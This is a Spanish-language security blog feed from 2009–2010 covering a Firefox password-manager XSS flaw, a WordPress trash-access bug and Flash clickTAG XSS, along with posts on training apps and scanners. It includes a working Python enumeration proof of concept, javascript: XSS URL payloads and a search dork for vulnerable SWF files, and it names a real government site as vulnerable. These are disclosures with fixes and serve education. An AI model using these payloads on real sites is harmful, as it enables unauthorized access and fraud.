La Comunidad DragonJAR » Seguridad Web

Robando claves por XSS del Administrador de Contraseñas del Firefox

DragoN — Tue, 16 Mar 2010 06:51:50 +0000

Gracias a un mensaje de Tom Brennan, me entero de un problema en el Administrador de Contraseñas del Mozilla Firefox, que permite a un atacante mediante XSS (Cross-site scripting) obtener la clave de un usuario almacenada en el navegador.

El problema se encuentra en que el administrador de contraseñas del Mozilla Firefox , no valida adecuadamente el formulario desde el cual se guarda la clave en el administrador de contraseñas, por lo tanto si a la pagina donde se encuentra el formulario de logueo se le puede realizar un XSS es posible agregar un formulario con un campo oculto del tipo “password” y al acceder a ella, firefox no solo llenara el formulario real de acceso automáticamente, sino también el formulario oculto que acabamos de inyectar.

Si le echamos un vistoso al formulario utilizando el plugin Web Developer para el Mozilla Firefox, encontramos que efectivamente el Administrador de Contraseñas, nos llenó el formulario oculto que colocamos en la pagina mediante XSS con nuestra clave de acceso:

El código utilizado para robar la información del Administrador de contraseñas en el Mozilla Firefox:

Podemos modificar el formulario para que nos envié la contraseña capturada a un archivo en el que puede ser almacenada o enviada por correo electrónico, pero en esta prueba de concepto no lo realizaremos.

En este caso contar con “clave maestra” en el administrador de contraseñas del Mozilla Firefox no supone una “barrera” para que obtengan nuestras claves, ya que una vez ingresada la clave maestra, el Firefox llenara de todas formas el formulario con nuestra clave.

Aunque posiblemente una técnica similar pueda funcionar en otros navegadores, he realizado pruebas en Google Chrome, Safari y Opera siendo el Mozilla Firefox el único afectado.

Actualización:
Un fallo similar fue reportado en el 2006 y supuestamente fue resuelto “VERIFIED FIXED”, pero acabo de probar con la prueba de concepto que publicaron en esa ocasión y sigue siendo vulnerable.

Recomendaciones:

Escribe “about:config” en la barra del Firefox para desactivar (poner en “false”) la función signon.autofillForms

Con esto deshabilitas la función de auto llenado del administrador de contraseñas y evitarnos ser victimas de este fallo.

Utilizar el plugin NoScript (si no hay inyección de código, no hay problema)
No utilizar el Administrador de Contraseñas de Mozilla Firefox (ya hemos demostrado que no es recomendable, ni en firefox, ni en ningún navegador), en vez de el utilizar servicios gratuitos como LastPass (al que por cierto le debo un articulo entero)

Mas Información:
XSS demo for stealing passwords from the Firefox password manager

También puede interesarte...

“Crean” un navegador pensando en su seguridad

DragoN — Thu, 18 Feb 2010 18:13:56 +0000

La empresa de seguridad Comodo, famosa por su Antivirus y Firewall, ha creado un navegador llamado Comodo Dragon, pensando totalmente en la seguridad del usuario.

Comodo Dragon esta basado en el navegador Chromium (igual que Google Chrome), pero ademas de las características que ya incluye Chromiun el nuevo navegador seguro de Comodo incluye las siguientes:

Privacidad de Chromium Mejorada
Fácil identificación del certificado SSL
Acceso a sitios web más rápido
Mayor estabilidad y menos consumo de memoria
Modo Incognito (también conocido como “modo porno”) detiene las Cookies, Mejora de privacidad
Si usas Cromium o Google Chrome es Muy fácil de cambiar de su navegador a Comodo Dragón

De momento Comodo Dragon esta disponible para Windows XP/Vista/7/Server, pero funciona adecuadamente con Wine en Mac (aun no probado en GNU Linux).

Descargar Comodo Dragon, el navegador pensado en tu seguridad.

También puede interesarte...

Pueden leer tu “Basura”

DragoN — Mon, 15 Feb 2010 07:33:25 +0000

Un nuevo fallo en el famoso WordPress, descubierto por el investigador Thomas Mackenzie permitiría a “cualquier” persona los artículos, comentarios y paginas, que hayas borrado y se encuentren en la “papelera”.

Desde la versión 2.9 de WordPress se implementó una nueva característica llamada “papelera“, con la cual todos los artículos, comentarios o páginas “borradas” pasarían a la “papelera de reciclaje” para prevenir así que sean eliminados de forma accidental.

Lo que descubrió Thomas Mackenzie es que en WordPress decidieron no ponerle restricción de acceso a los contenidos de la “papelera”, por lo que cualquier persona con privilegio 0 (Suscriptor) podría ver todo lo que estuviera almacenado en ella, el único inconveniente (y posiblemente la razón por la que dejaron este nivel de acceso), es que necesitamos conocer la ruta de los contenidos eliminados para poder acceder a ellos… cosa que Mackenzie pudo solucionar desarrollando este script en Python, con el que enumera los contenidos que tenemos en nuestra “papelera”.

#/usr/bin/python
#
# WordPress > 2.9 Failure to Restrict URL Access PoC
#
# This script iterates through the WP post ID’s as an authenticated and unauthenticated user.
# If the requests differ a ‘Trash’ post has been found.
#
# You will need an authenticated user cookie of any priveledge to run this script.
#
# Example cookie:
# wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8
#
# Will only work with WP URLs with the ‘/?p={int}’ parameter. Would need to handle redirects (3xx) to handle all URL types.
#
#
# Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst (ethicalhack3r)

import httplib

# Declare vars
blogURL = “www.example.com”
userCookie = “enter_cookie_here”
postID = 0 #Leave at 0

conn = httplib.HTTPConnection(blogURL)
Headers = {“Cookie” : userCookie}

print
print “Target = http://” + blogURL + “/?p=” + str(postID)
print

while 1:

# Start non authenticated enumeration

request = ‘/?p=’ + str(postID)
conn.request(“GET”, request, “”)

try:
r1 = conn.getresponse()
except:
print “Connection error”

data1 = r1.read()

# Start authenticated enumeration

conn.request(“GET”, request, None, Headers)

try:
r2 = conn.getresponse()
except:
print “Connection error”

data2 = r2.read()

# Compare the HTML body reponses

if data1 != data2:
print “+ Found! http://” + blogURL + request
else:
print request

postID += 1

conn.close()

Como pueden ver, en esta prueba de concepto, es necesario contar con una cookie de un usuario logueado en el sistema, cosa que no es difícil si el blog tiene el registro de usuarios activo (practica poco recomendada) o se puede conseguir mediante ingeniería social, por lo tanto es mas que recomendable que actualicen su instalación de WordPress a la versión 2.9.2 que ya cuenta con un parche para este problema de seguridad.

Una vez más queda confirmado que la seguridad por “oscuridad” no es una buena práctica y siempre debe estar acompañada con otras medias que garanticen la confidencialidad, integridad y disponibilidad de nuestra información.

PD. Lo que no entiendo es por que páginas como DaboWeb y Mangas Verdes hablan de este fallo y afirman que un posible atacante puede “Eliminar artículos de nuestro WordPress” ¿De donde habrán sacado esa informacion?…

También puede interesarte...

Vulnerabilidad de XSS en mas de 8 Millones de Sitios con Flash

Axiacamus — Sun, 17 Jan 2010 18:22:58 +0000

Una de las aplicaciones mas comunes utilizadas en los sitios web, son las películas y clics hechos en Adobe Flash (antes de Macromedia), animaciones, slideshows y anuncios publicitarios en este formato, están a la orden del día por toda la red. La facilidad con la que se crean y la gran cantidad de documentación sobre el uso de Flash, a colaborado para que su uso se extienda a millones de sitios web.

A pesar de ser una herramienta muy útil, personalmente pienso que esta sobreutilizada y que tiene gran cantidad de defectos, como no poder ser indexados adecuadamente en los buscadores, la cantidad de recursos que consume cuando se utiliza para visualizar película s o vídeos online, a esta lista de desventajas, ahora hay que sumarle un nuevo fallo de seguridad, descubierto por el investigador MustLive y publicado en su sitio websecurity.com.ua.

El fallo consiste en una vulnerabilidad de XSS (Cross-site scripting) la cual permite incrustar codigo Javascript y/o HTML, en algunas animaciones flash que no validan correctamente sus parámetros de entrada.

Ejemplo del código vulnerable:

Como se puede ver, en el siguiente código actionscript, no se hace validación alguna a las variables obtenidas:

getURL(_root.clickTAG, "_blank");

El codigo anterio podria ser explotado de la siguiente forma:

http://sitiovulnreable/flash.swf?clickTAG=javascript:alert('comunidad dragonjar')

Pero no es la única variable vulnerable a este tipo de vulnerabilidades XSS

getURL(_root.url, "_blank");

Que puede ser explotada de la siguiente forma:

http://sitiovulnreable/flash.swf?url=javascript:alert('comunidad dragonjar')

Para ver el funcionamiento de este tipo de ataques, les dejo este flash en el portal del “Area Metropolitana del Valle de Aburrá”, donde podemos ver que con solo deja correr la animacion , nos ejecutara el alert en javascript que hemos incrustado de forma arbitraria en el archivo flash, por lo que podríamos realizar todo tipo de estafas y engaños utilizando el nombre de esta pagina del gobierno colombiano.

Este problema que afecta millones de sitios en la red (lo cual podemos comprobar con una simple búsqueda en google ”filetype:swf inurl:clicktag”), es aun mas grave si se tiene en cuenta que la mayoría de las personas que manejan Flash y en especial su lenguaje de programación ActionScript, son diseñadores o programadores que no tienen en cuenta la seguridad a la hora de realizar sus trabajos, una muestra de esto lo podemos ver en el periódico ”El Heraldo” de Barranquilla que recomienda el uso de un código vulnerable para realizar la publicidad que se publica en su portal.

Mas Información:
XSS vulnerabilities in 8 millions flash files
Serious web vuln found in 8 million Flash files XSS

También puede interesarte...

Aplicaciones Web Vulnerables

DragoN — Sat, 16 Jan 2010 08:43:49 +0000

La practica hace el maestro, pero en el campo de la seguridad informática, si practicamos en aplicaciones o servidores de terceros, podemos llegar a tener problemas con la ley; Por este motivo existen herramientas como Damn Vulnerable Web App, una aplicacion web vulnerable que permite poner a prueba nuestros conocimientos sobre seguridad web, pero DVWA no es la única aplicacion de este tipo que existe, a continuación les dejo un listado con algunas de las aplicaciones web vulnerables:

WebGoat es una aplicación web J2EE deliberadamente insegura, mantenida por OWASP y diseñada para enseñar lecciones de seguridad en aplicaciones Web. puedes aprender mas sobre esta herramienta en nuestro laboratorio.

Moth es una imagen de VMware que contiene un conjunto de aplicaciones Web y scripts vulnerables, que puedes utilizar para probar scanners de seguridad en aplicaciones Web, herramientas de análisis de código estático (SCA), dar cursos introductorios de seguridad en aplicaciones Web. puedes encontrar mas informacion sobre esta herramienta en nuestra comunidad.

BadStore es una aplicacion web para tienda virtual, que incluye de manera intencionada diferentes fallos de seguridad informática, para probar nuestros conocimientos y herramientas sobre ella.

WebMaven es un entorno interactivo de seguridad web, que emula varios de los mas comunes fallos en las aplicaciones web.

SecuriBench es una aplicacion escrita en java en la universidad de Stanford, que incluye las siguientes vulnerabilidades SQL injection attacks, Cross-site scripting attacks, HTTP splitting attacks, Path traversal attacks, para practicar con ellas.

Mutillidae es un conjunto de scripts vulnerables escritos en php, a diferencia de otras aplicaciones de su tipo, multilliadae se diferencia por la simplicidad de su código, enfocado en las personas que apenas empiezan a desarrollar aplicaciones web.

SERIE HACME, la serie Hacme es un conjunto de aplicaciones web temáticas escritas por Foundstone, que tienen en su código de forma deliberada, multitud de vulnerabilidades web, para que practiquemos nuestros conocimientos sobre seguridad web, dentro de esta serie tenemos un aplicativo web de un casino Hacme Casino (del cual hablamos en la ezine 2 de nuestra comunidad), una aplicacion web de compras Hacme Shipping , un sistema de viajes Hacme Travel y una aplicacion web que simula ser un banco Hacme Bank.

Si conoces otra aplicacion web de este tipo que no este en la lista, déjanos un comentario para que sea agregada.

Actualizado 18/01/2010 : Agrego WebMaven , SecuriBench, y BadStore, gracias al comentario de colliers

SecuriBench

También puede interesarte...

Extensiones de Firefox para Auditorias de Seguridad

DragoN — Wed, 13 Jan 2010 23:50:57 +0000

Hace poco tenia una conversación con epsilon sobre cambiar el Firefox por uzbl en un proyecto que se esta gestionando en la comunidad, sus argumentos era el “gran” consumo de recursos de firefox frente al uzbl, los míos que ese consumo era justificado, ya que firefox con los plugins adecuados, es una excelente herramienta de seguridad, ademas los navegadores web son la puerta el 90% de las cosas que realizamos frente a un computador y utilizar un navegador tan limitado como uzbl seria un impedimento, más que un beneficio.

Para reafirmar el uso de Firefox como Herramienta de Seguridad les presento FireCAT, un completo catalogo de las extensiones para Firefox, que están especialmente diseñadas para su uso en una auditoria de seguridad:

En la comunidad ya habíamos hablado del FireCAT en su versión 1.5, en esa ocasión, se había publicado el catalogo de extensiones para realizar auditorias con firefox en PDF y html, con esta nueva versión 1.6 el FireCAT pasa a estar disponible de forma online, en un mapa mas interactivo creado en flash:

Espero que les sea de utilidad y encuentren algunos buenos plugins que no conocian.

Mas Información:
Pagina Oficial del FireCAT

También puede interesarte...

Top 10 Técnicas de Seguridad Web en el 2009

DragoN — Sat, 09 Jan 2010 05:35:31 +0000

El director de WhiteHatSec, Jeremiah Grossman, reconocido en el mundo de la seguridad informática, por sus aportes en el campo de la seguridad web, ha publicado en su blog una entrada llamada “Top Ten Web Hacking Techniques of 2009 (Official)“, la cual pretende ser una recopilación de las nuevas técnicas en seguridad web publicadas durante el 2009.

Constantemente salen nuevas técnicas de seguridad web, pero muchas veces estas son dejadas en el olvido en blogs y papers poco visitados/descargados, la finalidad de este top, es dar a conocer estas nuevas tecnicas, para poder tenerlas en cuenta a la hora de testear o programar una aplicación web. El TOP 10 de Tenicas en Seguridad Web del 2009 es:

Creating a rogue CA certificate
Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger
HTTP Parameter Pollution (HPP)
Luca Carettoni, Stefano diPaola
Flickr’s API Signature Forgery Vulnerability (MD5 extension attack)
Thai Duong and Juliano Rizzo
Cross-domain search timing
Chris Evans
Slowloris HTTP DoS
Robert Hansen, (additional credit for earlier discovery to Adrian Ilarion Ciobanu & Ivan Ristic – “Programming Model Attacks” section of Apache Security for describing the attack, but did not produce a tool)
Microsoft IIS 0-Day Vulnerability Parsing Files (semi‐colon bug)
Soroush Dalili
Exploiting unexploitable XSS
Stephen Sclafani
Our Favorite XSS Filters and how to Attack them
Eduardo Vela (sirdarckcat), David Lindsay (thornmaker)
RFC1918 Caching Security Issues
Robert Hansen
DNS Rebinding (3-part series Persistent Cookies, Scraping & Spammin g, and Session Fixation)
Robert Hansen

Cada técnica expuesta en este TOP 10, será explicada detalladamente en los eventos IT-Defense y RSA USA 2010 donde Jeremiah Grossman dictará la charla “2010: A Web Hacking Odyssey”.

Puedes ver los mas de 80 articulos propuestos para este TOP10 en este enlace, aunque no quedaron en el podio, no dejan de ser una buena fuente de información si te interesa el área de la seguridad en aplicaciones web.

También puede interesarte...

WAFP – Detecta la Versión de una Aplicación Web

DragoN — Mon, 28 Dec 2009 21:12:07 +0000

WAFP (Web Application Finger Printer) es una herramienta escrita en ruby por el consultor de seguridad Richard Sammet, que es capaz de detectar la versión detallada e incluso el número de compilación de una aplicación Web.

¿Como funciona?
WAFP obtiene los archivos HTML que genera una aplicacion web y le saca una firma que identifica ese archivo generado con una versión especifica de la aplicacion, como estas salidas cambian en cada versión de la aplicacion, es posible detectar de forma muy precisa la versión y el numero de compilación de una aplicacion web.

Esta es la salida de la aplicacion contra una instalación de phpymadmin:

  wafp.rb --verbose -p phpmyadmin https://phpmyadmin.example.de
   VERBOSE: loading the fingerprint database to the ram...
   Collecting the files we need to fetch ...
   Fetching needed files (#432), calculating checksums and storing the results to the database:
   ............................................................................................
   VERBOSE: request for "/themes/darkblue_orange/img/b_info.png" produced "Connection refused - connect(2)" for 1 times - retrying...
   ............................................................................................
   Checking gathered/stored checksums (#432) against the selected product (phpmyadmin) versions (#87) checksums:
   .......................................................................................

    found the following matches (limited to 10):
   +-------------------------------------------------------------+
    phpmyadmin-2.11.9.1                	 296 / 299  (98.99%)
    phpmyadmin-2.11.9.2                	 295 / 299  (98.66%)
    phpmyadmin-2.11.9.4                	 295 / 299  (98.66%)
    phpmyadmin-2.11.8.1                	 295 / 299  (98.66%)
    phpmyadmin-2.11.9.5                	 295 / 299  (98.66%)
    phpmyadmin-2.11.8                  	 295 / 299  (98.66%)
    phpmyadmin-2.11.9.3                	 295 / 299  (98.66%)
    phpmyadmin-2.11.9                  	 295 / 299  (98.66%)
    phpmyadmin-2.11.4                  	 294 / 299  (98.33%)
    phpmyadmin-2.11.5.2                	 294 / 299  (98.33%)
   +-------------------------------------------------------------+
    WAFP 0.01-26c3  - - - - - - - - -  http://mytty.org/wafp/

   VERBOSE: Returncode stats:
   VERBOSE: Ret-Code	200	#302
   VERBOSE: Ret-Code	404	#130
   VERBOSE: deleting the temporary database entries for scan "472312620367191262036719_httpsphpmyadmin.example.de" ...

Esta herramienta cuenta con mas de 600 versiones de las aplicaciones web mas populares y esta base de datos crecerá a medida que se publiquen nuevas versiones.

Descargar WAFP

Mas Información:
Pagina Oficial de WAFP
Diapositivas de Charla en edición 26 de CCC

También puede interesarte...

Wapiti – Escaner de Vulnerabilidades en Aplicaciones Web

DragoN — Sat, 26 Dec 2009 20:00:14 +0000

Wapiti es un escáner de vulnerabilidades para aplicaciones web, licenciado bajo la GPL v2 , que busca fallos XSS, inyecciones SQL y XPath, inclusiones de archivos (local y remota), ejecución de comandos, inyecciones LDAP, inyecciones CRLF, para que pongamos a prueba la seguridad de nuestras aplicaciones web y podamos corregirlas.

El listado de vulnerabilidades detectadas es el siguiente:

Errores en el Manejo de Archivos (Inclusión remota o local usando include/require, fopen, readfile…)
Inyecciones en Bases de Datos (Soporta PHP/JSP/ASP e inyecciones SQL y XPath)
XSS (Cross Site Scripting)
Inyecciones LDAP
Ejecución de Comandos (eval(), system(), passtru()…)
Inyeccione CRLF (HTTP Response Splitting, session fixation…)

Esta excelente herramienta programada en python destaca por sus detallados informes, donde podemos ver la descripción del problema encontrado, cómo resolver dicho problema y algunas paginas de referencia donde podemos ampliar nuestro conocimiento sobre el tema.

Recuerda que el uso de este tipo de herramientas, que automatizan el testeo de vulnerabilidades en tus aplicativos web, ayudan a encontrar fácilmente algunos problemas de las aplicaciones web, pero no reemplazan una auditoria concienzuda del código fuente.

Descargar Wapiti

Mas Información:
Pagina Oficial del Wapiti

También puede interesarte...

Multiples Vulnerabilidades en SMF

DragoN — Wed, 02 Dec 2009 16:45:13 +0000

En el foro ElHacker.net sacaron adelante un proyecto destinado a realizar auditorías de seguridad a nivel WEB sobre el popular software de foros SMF 2.0 (Simple Machines Forum) con la finalidad de que sus desarrolladores puedan crear cada día un software mas robusto y seguro, esta auditorio dio como resultado mas de 40 fallos de seguridad encontrados, un posible backdoor que los responsables de SMF tenían en el código.

Entre los fallos encontrados existen 3 con peligrosidad alta (uno de ellos permite ejecución remota de código), 14 con un nivel de peligro medio (en su mayoría ataques del tipo XSS) y en resto de los fallos tienen un nivel de peligrosidad bajo o nulo.

Desde la comunidad DragonJAR enviamos un saludo a los integrantes del equipo SimpleAudit no solo por los fallos encontrados, sino por la publicación responsable de ellos, esperando que SMF publicara una versión parcheada de su software para hacer el Full Disclosure.

Cada uno de los fallos encontrados en SMF han sido publicados y explicados en el foro de ElHacker.net por WHK, ademas en nuestro idioma.

Mas Información:
Pagina del Proyecto
Anuncio en el Foro
Full Disclosure